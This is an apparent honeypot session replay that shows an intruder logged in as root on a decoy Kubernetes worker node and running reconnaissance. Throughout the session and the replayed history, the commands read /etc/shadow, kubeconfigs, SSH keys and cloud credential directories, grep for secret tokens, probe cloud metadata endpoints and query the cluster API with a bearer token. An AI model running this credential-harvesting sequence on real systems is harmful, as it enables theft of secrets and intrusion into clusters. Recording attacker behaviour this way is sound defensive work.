connected from 🇩🇪 Bad Soden am Taunus (Neuenhain), Germany · SSH-2.0-paramiko_5.1.0
root@se-sto-oracle-1's password: Logged in as root
root@se-sto-oracle-1:~# echo ===ROOT===; ls -la /var/lib/containerd/ 2>&1; echo ===IO===; ls -la /var/lib/containerd/io.containerd.* 2>/dev/null | head -60; echo ===DEPTH===; find /var/lib/containerd -xdev -maxdepth 3 2>/dev/null | head -80; echo ===COUNT===; find /var/lib/containerd -xdev 2>/dev/null | wc -l===ROOT=== ls: cannot access '/var/lib/containerd/': No such file or directory ===IO=== ===DEPTH=== ===COUNT=== 0
root@se-sto-oracle-1:~# echo ===RUN===; ls -laR /run/containerd 2>/dev/null | head -80; echo ===SOCK===; ls -la /run/containerd/containerd.sock /run/containerd/s 2>/dev/null; echo ===CTR_NS===; ctr --address /run/containerd/containerd.sock namespace list 2>&1 | head===RUN=== ===SOCK=== ===CTR_NS===
root@se-sto-oracle-1:~# echo ===META===; find /var/lib/containerd -xdev \( -name 'config.v2.json' -o -name 'config.json' -o -name '*.json' -o -name 'hosts' -o -name 'resolv.conf' \) -type f -size -50M 2>/dev/null | head -60; echo ===GREPDIR===; grep -rIlE 'AKIA|ASIA|LTAI|ocid1|BEGIN .*PRIVATE KEY|password|secret|token' /var/lib/containerd 2>/dev/null | head -40===META=== ===GREPDIR===
root@se-sto-oracle-1:~# for ns in k8s.io default moby; do echo "--$ns--"; ctr -n $ns images ls 2>&1 | head -20; done; echo ===CRICTL_IMG===; crictl images 2>&1 | head -30--k8s.io-- --default-- --moby-- ===CRICTL_IMG===
root@se-sto-oracle-1:~# echo ===DEBCONFIG===; find /home/debian -type f 2>/dev/null | head -40; echo ===CFGCONTENT===; for f in $(find /home/debian/.config -type f 2>/dev/null | head -10); do echo ---$f; head -c 2000 "$f" 2>/dev/null; echo; done===DEBCONFIG=== /home/debian/.bash_logout /home/debian/.bashrc /home/debian/.profile ===CFGCONTENT===
root@se-sto-oracle-1:~# echo ===OPSCFG===; find /home/ops -type f 2>/dev/null | head -40; echo ===OPSBASH===; cat /home/ops/.bashrc 2>/dev/null | grep -viE '^#|^$' | tail -20===OPSCFG===
/home/ops/.bashrc
/home/ops/.profile
/home/ops/.bash_logout
===OPSBASH===
esac
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
#alias grep='grep --color=auto'
#alias fgrep='fgrep --color=auto'
#alias egrep='egrep --color=auto'
fi
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
firoot@se-sto-oracle-1:~# echo ===ROOTHIST===; cat /root/.bash_history 2>/dev/null | tail -250===ROOTHIST===
apt update
apt install -y containerd runc conntrack socat ebtables iptables curl
systemctl enable --now containerd
mkdir -p /etc/containerd
containerd config default > /etc/containerd/config.toml
nano /etc/containerd/config.toml
systemctl restart containerd
apt-mark hold kubelet kubeadm kubectl
kubeadm version
kubectl version --client
kubeadm token list
systemctl status kubelet
journalctl -u kubelet --since yesterday
crictl ps
crictl pods
iptables -t nat -L KUBE-SERVICES -n
sysctl net.bridge.bridge-nf-call-iptables
exit
ifconfig 2>/dev/null || cat /proc/net/fib_trie 2>/dev/null | grep -A1 '32 host' | head -20
; echo ___CMDDONE___$?
cat /etc/os-release 2>/dev/null; echo ==; cat /etc/hosts 2>/dev/null; echo ==; route -n 2>/dev/null || cat /proc/net/route 2>/dev/null | head
; echo ___CMDDONE___$?
cat /etc/passwd
; echo ___CMDDONE___$?
wc -l /etc/shadow 2>/dev/null; grep -vE '^[^:]+:[!*]' /etc/shadow 2>/dev/null | head -40
; echo ___CMDDONE___$?
ls -la /home/ 2>/dev/null; echo ==; getent passwd | awk -F: '$3>=1000 && $3<65534{print $1,$3,$6,$7}'
; echo ___CMDDONE___$?
cat /etc/sudoers 2>/dev/null | grep -vE '^#|^$' ; echo ==LS==; ls -la /etc/sudoers.d/ 2>/dev/null; for f in /etc/sudoers.d/*; do echo ---$f; cat $f 2>/dev/null; done
; echo ___CMDDONE___$?
echo ROOT_KUBE; ls -la /root/.kube/ 2>/dev/null; for f in /root/.kube/config /root/.kube/admin.conf; do echo ---$f; cat $f 2>/dev/null; done; echo USER_KUBE; for d in /home/*/.kube; do echo ---$d; ls -la $d 2>/dev/null; cat $d/config 2>/dev/null; done
; echo ___CMDDONE___$?
echo HELLO; grep '^root:' /etc/shadow
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f \( -name '*.env' -o -name '.env' -o -name '*.pem' -o -name '*.key' -o -name '*.kdbx' -o -name 'credentials' -o -name 'config' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.sql' -o -name '*.bak' -o -name '*.conf' -o -name '.git-credentials' -o -name '*Login Data*' -o -name 'Cookies' -o -name '*history*' \) -print 2>/dev/null | head -300
echo ___CMDDONE___$?
for d in /root /home/*; do echo ===$d===; ls -la $d 2>/dev/null; done
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type f \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name 'id_dsa' -o -name 'known_hosts' -o -name 'authorized_keys' -o -name '*.ppk' \) -print 2>/dev/null | head -100
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.oci' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.aws' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
ls -la /var/run/docker.sock 2>/dev/null; echo ==; which docker crictl ctr nerdctl kubectl 2>/dev/null; echo ==; ls -la /var/lib/docker /var/lib/containerd 2>/dev/null | head -40
echo ___CMDDONE___$?
cat /home/marta/.bash_history
echo ___CMDDONE___$?
cat /root/.bash_history
echo ___CMDDONE___$?
cat /home/marta/parcelwise/values.yaml
echo ___CMDDONE___$?
cat /etc/kubernetes/kubelet.conf 2>/dev/null | head -40; echo ===KCFG===; cat /var/lib/kubelet/config.yaml 2>/dev/null | head -40
echo ___CMDDONE___$?
export KUBECONFIG=/home/marta/.kube/config; kubectl --kubeconfig=/home/marta/.kube/config get nodes 2>&1 | head -20; echo '[NS]'; kubectl --kubeconfig=/home/marta/.kube/config get ns 2>&1 | head -30
echo ___CMDDONE___$?
echo API=10.44.0.10:6443; curl -sk --max-time 8 -H 'Authorization: Bearer b19bbaef25257f6f4c6aa2e55ee0c94e' https://10.44.0.10:6443/api/v1/namespaces 2>&1 | head -c 3000
echo ___CMDDONE___$?
echo AAA; printf 'BBB\n'; /bin/echo CCC; echo $?; date; ps aux | head -5; echo DNS; getent hosts google.com 2>&1; echo DONE
echo ___CMDDONE___$?
ss -tlnp 2>/dev/null | head -20; netstat -tlnp 2>/dev/null | head -20
echo ___CMDDONE___$?
crictl ps -a 2>&1 | head -30; echo ===PODS===; crictl pods 2>&1 | head -30
echo ___CMDDONE___$?
ls -la /run/containerd/containerd.sock 2>&1; ls -la /var/lib/containerd/io.containerd.grpc.v1.cri/containers/ 2>&1 | head; echo ===; ctr -n k8s.io containers list 2>&1 | head -20
echo ___CMDDONE___$?
env | grep -iE 'AWS|OCI|TOKEN|SECRET|KEY|PASS' 2>/dev/null; echo ==PROC1==; cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '; echo
echo ___CMDDONE___$?
curl -s --max-time 5 -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/ 2>&1 | head -20; echo '===IMDSv2==='; curl -s --max-time 5 http://169.254.169.254/opc/v1/instance/ 2>&1 | head -20; echo '===AWS==='; curl -s --max-time 5 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20; echo EOM
echo ___CMDDONE___$?
file /bin/ls /usr/bin/find /usr/bin/curl /bin/bash /usr/bin/date 2>&1 | head -20; echo ==; echo 'int main(){return 0;}' > /dev/null; echo NOCWRITE
echo ___CMDDONE___$?
cat /etc/resolv.conf 2>&1; echo ==; getent hosts github.com 2>&1; echo RC=$?; echo ==; cat /proc/net/route 2>&1 | head -10
echo ___CMDDONE___$?
systemctl status kubelet --no-pager 2>&1 | head -25; echo ==; ls -la /var/lib/kubelet/ 2>&1 | head -30; echo ==CERTS==; ls -la /etc/kubernetes/pki/ 2>&1 | head -30
echo ___CMDDONE___$?
cat /etc/shadow 2>&1
echo ___CMDDONE___$?
crontab -l 2>&1; echo ===ETC_CRONTAB===; cat /etc/crontab 2>&1; echo ===CROND===; ls -la /etc/cron.d/ /etc/cron.daily/ 2>&1 | head -30; echo ===SYSTEMD_TIMER===; systemctl list-timers --no-pager 2>&1 | head -20
echo ___CMDDONE___$?
for d in /opt /srv /var/backups /mnt /media; do echo ===$d===; ls -laR $d 2>&1 | head -40; done
echo ___CMDDONE___$?root@se-sto-oracle-1:~# echo ===MARTHIST===; cat /home/marta/.bash_history 2>/dev/null===MARTHIST=== kubectl get nodes -o wide kubectl get pods -A kubectl describe node se-sto-oracle-1 kubectl -n dispatch get deploy kubectl -n dispatch logs deploy/dispatch-api --since=30m kubectl -n dispatch logs dispatch-api-7b8f6c8d9d-q2m4p --previous kubectl get events -A --sort-by=.lastTimestamp | tail -n 30 sudo journalctl -u kubelet --since "2 hours ago" sudo crictl ps sudo crictl pods kubectl -n dispatch rollout history deployment/dispatch-api vim ~/parcelwise/values.yaml kubectl -n dispatch diff -f ~/parcelwise/values.yaml kubectl -n dispatch get secret dispatch-db -o yaml kubectl config current-context kubeadm token list sudo systemctl status containerd kubelet kubectl get nodes kubectl get pods -A exit
root@se-sto-oracle-1:~# echo ===LOCAL===; find /root/.local /root/.config -type f 2>/dev/null | head -40; echo ===CFG===; for f in $(find /root/.local /root/.config -type f 2>/dev/null | head -10); do echo ---$f; head -c 1500 "$f" 2>/dev/null; echo; done===LOCAL=== ===CFG===
root@se-sto-oracle-1:~# echo ===ROOTSSH===; ls -la /root/.ssh/ 2>/dev/null; for f in /root/.ssh/*; do [ -f "$f" ] && echo ---$f && cat "$f" 2>/dev/null; done; echo ===ETCSSH===; find /etc/ssh -type f -name '*_key' 2>/dev/null | head===ROOTSSH=== total 8 drwx------ 2 root root 4096 Nov 16 19:52 . drwx------ 5 root root 4096 Nov 16 20:12 .. ===ETCSSH=== /etc/ssh/ssh_host_ecdsa_key /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_ed25519_key
Disconnected · 2s inside
0:02 / 0:02
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.